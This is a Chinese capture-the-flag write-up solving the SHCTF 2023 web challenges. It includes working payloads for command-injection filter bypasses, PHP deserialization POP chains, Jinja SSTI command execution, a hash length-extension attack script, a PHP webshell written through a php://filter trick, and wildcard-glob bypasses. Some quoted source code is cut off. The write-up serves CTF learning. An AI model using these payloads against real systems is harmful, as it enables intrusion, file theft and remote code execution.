SHCTF 2023 新生赛 Web 题解

Web

[WEEK1]babyRCE

源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag

SHCTF 2023 新生赛 Web 题解_第1张图片SHCTF 2023 新生赛 Web 题解_第2张图片SHCTF 2023 新生赛 Web 题解_第3张图片

[WEEK1]飞机大战

源码js发现unicode编码

\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a

解码获得flag

SHCTF 2023 新生赛 Web 题解_第4张图片

[WEEK1]登录就给flag

这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag

SHCTF 2023 新生赛 Web 题解_第5张图片

[WEEK1]生成你的邀请函吧~

使用POST json请求来生成你的邀请函

直接用脚本就行了

import requests

from PIL import Image

import io



url = "http://112.6.51.212:30908/generate_invitation"



data = {

   "name": "C_yi",

   "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"

}



response = requests.post(url, json=data, verify=False)



# 获取返回的图片内容

image_content = response.content



# 创建一个PIL的Image对象

image = Image.open(io.BytesIO(image_content))



# 保存图片

image.save("avatar.jpg")

然后搜索avatar.jpg

SHCTF 2023 新生赛 Web 题解_第6张图片

得到flag

[WEEK1]ez_serialize

var_1);

  }

}



class B{

  public $q;

  public function __wakeup()

{

  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {

            echo "hacker";           

        }

}



}

class C{

  public $var;

  public $z;

    public function __toString(){

        return $this->z->var;

    }

}



class D{

  public $p;

    public function __get($key){

        $function = $this->p;

        return $function();

    }  

}



if(isset($_GET['payload']))

{

    unserialize($_GET['payload']);

}

?>

代码审计

我们反推把 首先看输出点为include()函数

SHCTF 2023 新生赛 Web 题解_第7张图片

那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)

SHCTF 2023 新生赛 Web 题解_第8张图片

要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var

SHCTF 2023 新生赛 Web 题解_第9张图片

想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个

SHCTF 2023 新生赛 Web 题解_第10张图片

Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发

所以构造最终的代码

q = $c;

$d = new D();

$c->z = $d;

$d->p = new A();

var_dump(serialize($b))

?>

Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

然后base64解码就得到falg了

SHCTF 2023 新生赛 Web 题解_第11张图片

[WEEK1]1zzphp

这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了

SHCTF 2023 新生赛 Web 题解_第12张图片

SHCTF 2023 新生赛 Web 题解_第13张图片

所以也没啥难的 按照下面这个自己调试就饿可以了

SHCTF 2023 新生赛 Web 题解_第14张图片

我的是

import requests

url="http://112.6.51.212:32191/?num[]=1"

data={

'c[ode':'very'*250000+'2023SHCTF'

}

r=requests.post(url,data=data)

print(r.text)

SHCTF 2023 新生赛 Web 题解_第15张图片

[WEEK1]ezphp

这道题的考点就是研究preg_replace \e模式下的代码执行

可以看这篇文章

深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客

深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客

因为这道题的phpinfo()和大括号没被过滤

所以可以利用

题目就是通过get传参code post传参pattern 关键就是下面这句话

preg_replace 使用了 /e 模式,导致了代码可以被执行

那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern  code传入

原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);

变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});

SHCTF 2023 新生赛 Web 题解_第16张图片

所以得到flag了

[WEEK2]no_wake_up

又是一道简单的反序列化题

SHCTF 2023 新生赛 Web 题解_第17张图片

Exp:

Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}

SHCTF 2023 新生赛 Web 题解_第18张图片

解码获得flag

SHCTF 2023 新生赛 Web 题解_第19张图片

[WEEK2]EasyCMS

考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取

需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag

SHCTF 2023 新生赛 Web 题解_第20张图片

[WEEK2]ez_ssti

有点像ctfshow 里面的web361

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

[WEEK2]MD5的事就拜托了 

源代码

");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("
"); } } } if($_POST['SHCTF']!=md5($flag)){ if($_POST['SHCTF']===md5($flag.urldecode($num))){ echo("flag is".$flag); } }

逐级分析代码;

if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));  
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("
"); }

这里的考点看下面一边文章就行 

 parse_url函数的解释和绕过-CSDN博客

我这里的构造为  可以得到md5加密的falg

SHCTF=host://SHCTF:pass@user/SHCTF 

分析下一段代码

if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("
"); }

考察intval()函数的绕过  网上搜下就懂了 然后可以得到flag的长度

?length=1.001

得到 md5加密的flag 和长度

 SHCTF 2023 新生赛 Web 题解_第21张图片

再看下一段

if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

传入SHCTF不能等于md5加密的flag ,然后看向最后的if语句,直接网上搜md5($flag.urldecode($num)),可以搜到其考点为哈希拓展攻击。具体访问下面文章(挂个梯子)

hash-ext-attack攻击脚本

import base64
import hashlib
import hmac
import struct
import sys
import time
import urllib.parse

from common.md5_manual import md5_manual
from loguru import logger
from common.crypto_utils import CryptoUtils


class HashExtAttack:
    """
    哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
    目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
    """

    def __init__(self):
        self.know_text = b""
        self.know_text_padding = b""
        self.new_text = b""
        self.rand_str = b''
        self.know_hash = b"3c5a36dd888251601d36bbc184648717"
        self.key_length = 15

    def _padding_msg(self):
        """填充明文"""
        logger.debug("填充明文")
        self.know_text_padding = md5_manual.padding_str(self.know_text)
        logger.debug(f"已知明文填充:{self.know_text_padding}")

    def _gen_new_plain_text(self):
        """生成新明文"""
        self.new_text = self.know_text_padding + self.rand_str  # b'80' + 55 * b'\x00' + struct.pack(" tuple:
        """生成新hash"""
        # 第一步先生成新的字符串
        # 对已知明文进行填充
        self._padding_msg()
        # 第二步 生成新明文
        self._gen_new_plain_text()
        # 第三步 生成新hash(基于已知hash进行计算)
        # 3.1 hash拆分成4个分组
        hash_block = self.split_hash(hash_str=self.know_hash)
        md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
        tmp_str = md5_manual.padding_str(self.new_text)
        logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
        logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
        md5_manual.solve(tmp_str[-64:])
        self.new_hash = md5_manual.hex_digest()

        return self.new_text, self.new_hash

    def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
        # self.know_text = input("请输入已知明文:")
        self.know_text = ("*" * key_len + know_text).encode()  # 密钥拼接
        self.know_hash = know_hash.encode()
        self.rand_str = rand_str.encode()

        self._guess_new_hash()
        logger.info(f"已知明文:{self.know_text[key_len:]}")
        logger.info(f"已知hash:{self.know_hash}")
        logger.debug(f"任意填充:{self.rand_str}")
        logger.info(f"新明文:{self.new_text[key_len:]}")
        logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}")
        # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}")
        logger.info(f"新hash:{self.new_hash}")
        return self.new_text[key_len:], self.new_hash

    def input_run(self):
        time.sleep(0.2)
        self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "),
                 int(input("请输入密钥长度:")))

    def test(self):
        self.run(
            "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935",
            "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)


hash_ext_attack = HashExtAttack()

if __name__ == '__main__':

    logger.remove()
    logger.add(sys.stderr, level="INFO")
    hash_ext_attack.input_run()

 得到payload:

?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00ab
SHCTF=c4053dcc95bf563af279f7e4bb1f9e17

 SHCTF 2023 新生赛 Web 题解_第22张图片

 得到flag

SHCTF 2023 新生赛 Web 题解_第23张图片

[WEEK2]serialize

这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久

js代码:

var arr = ["o123:", "c456:", "d789:"];

arr = arr.filter(function(element) {

  return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素

});

console.log(arr); // 输出: ["d789:"]

SHCTF 2023 新生赛 Web 题解_第24张图片

Pop链比较简单:wakeup()->get()->totring()

构造代码

ding = new misca(); //这个就是触发get魔术方法

$m->ding->gao = &$m->ding->a; //把gao赋值给a

$m->ding->fei = new milaoshu(); //触发tostring魔术方法

echo serialize(array($m)); //利用数组进行绕过正则匹配

Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

SHCTF 2023 新生赛 Web 题解_第25张图片

解码获得flag

SHCTF 2023 新生赛 Web 题解_第26张图片

[WEEK3]快问快答

这种短时间内回答的题一看就是要脚本

SHCTF 2023 新生赛 Web 题解_第27张图片

根据源码写paylaod就行

import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求
   answer1 = {'answer': answer}
   response=requests.Session()
   response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
   return response

def parse_question(response):#用于计算答案
   html = response.text
   answer=0
   pattern = re.compile(r"

(.*?)

")#提取题目信息    match = pattern.search(html)    if match:        question = match.group(1)        numbers = re.findall(r"\d+", question)        operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符        op=operation[0]        if len(numbers) == 2:            a = int(numbers[0])            b = int(numbers[1])            if op == "异或":                answer = a ^ b            if op == "与":                answer = a & b            if op == "-":                answer = a - b            if op == "+":                answer = a + b            if op == "x":                answer = a * b            if op == "÷":                answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误            #print(question)            #print(answer)    else:            print("找不到题目")    return answer url = "http://112.6.51.212:32776/"  # 这里替换为你要访问的网址 headers = {"Content-Type": "application/x-www-form-urlencoded"} cookie=0 answer = 0 for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的        time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间        response = post_answer(url, headers, answer, cookie)        print(response.text)#打印表单        answer = parse_question(response)        cookie = response.cookies

得到flag

SHCTF 2023 新生赛 Web 题解_第28张图片

[WEEK3]sseerriiaalliizzee

源码:

barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off

出口函数 file_put_contents很简单的pop链 Start:__tostring()->CTF:dosomething()

考点就是无非是file_put_contents()

SHCTF 2023 新生赛 Web 题解_第29张图片

大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个

里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功

那这里的考点就是file_put_contents利用技巧

SHCTF 2023 新生赛 Web 题解_第30张图片

具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)

我们直接构造paylaod:

 然后base64编码(?前面不加空格 就会编码变成+号)

PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==

然后

构造脚本

barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag

echo serialize($start);
?>

SHCTF 2023 新生赛 Web 题解_第31张图片

同理换成 cat /flag

Paylaod:

O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}

SHCTF 2023 新生赛 Web 题解_第32张图片

[WEEK3]gogogo

考点:go代码审计,session伪造,通配符绕过

这里先贴一个windows下运行go 安装使用

https://blog.csdn.net/qq_42313447/article/details/114403953

 下载源码得到三个路由

main.go

package main

import (
	"main/route"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/readflag", route.Readflag)
	r.Run("0.0.0.0:8000")
}

 分析一下,就是给了两个路由。

route.go

package route

import (
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"main/readfile"
	"net/http"
	"os"
	"regexp"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "User"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

func Readflag(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "admin" {
		c.String(200, "Congratulation! You are admin,But how to get flag?\n")

		path := c.Query("filename")

		reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

		if reg.MatchString(path) {

			http.Error(c.Writer, "nonono", http.StatusInternalServerError)
			return
		}

		var data []byte
		if path != "" {
			data = readfile.ReadFile(path)
		} else {
			data = []byte("请传入参数")
		}

		c.JSON(200, gin.H{
			"success": "read: " + string(data),
		})
	} else {
		c.String(200, "Hello, User. How to become admin?")
	}

}

 我们分析一下下面这个index里面这个

SHCTF 2023 新生赛 Web 题解_第33张图片

 如果name为nil  接着就改为user

我们再看看readflag里面这个 就发现name要为admin 才能接下来的步骤

SHCTF 2023 新生赛 Web 题解_第34张图片

这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的

SHCTF 2023 新生赛 Web 题解_第35张图片

那我们可不可以伪造session? 让他成为admin呢 我们知道session的加密方式为

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

我们猜测环境没有设置session-key,本地搭环境得到session值去伪造 

 意思就是我们只要把route.go里面的 index改为admin就行

session.Values["name"] = "admin"

SHCTF 2023 新生赛 Web 题解_第36张图片

 然后go run .main.go

SHCTF 2023 新生赛 Web 题解_第37张图片

然后访问127.0.0.1:8000,对应的cookie即为admin

SHCTF 2023 新生赛 Web 题解_第38张图片

 最后就是readfile.go

package readfile

import (
	"os/exec"
)

func ReadFile(path string) (string2 []byte) {
	defer func() {
		panic_err := recover()
		if panic_err != nil {

		}
	}()
	cmd := exec.Command("bash", "-c", "strings  "+path)
	string2, err := cmd.Output()
	if err != nil {
		string2 = []byte("文件不存在")
	}
	return string2
}

 简单的读取文件,构造出读取文件的语句 ,我们还记得给了两个路由 我们访问readflag

SHCTF 2023 新生赛 Web 题解_第39张图片

然后看看过滤条件 

SHCTF 2023 新生赛 Web 题解_第40张图片

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过 得到flag

?filename=/??a?

 SHCTF 2023 新生赛 Web 题解_第41张图片

#filename=/bin/base /flag
filename=/???/?a??64%09/??a?

SHCTF 2023 新生赛 Web 题解_第42张图片


 

你可能感兴趣的:(writeup,CTF,web安全,CTF)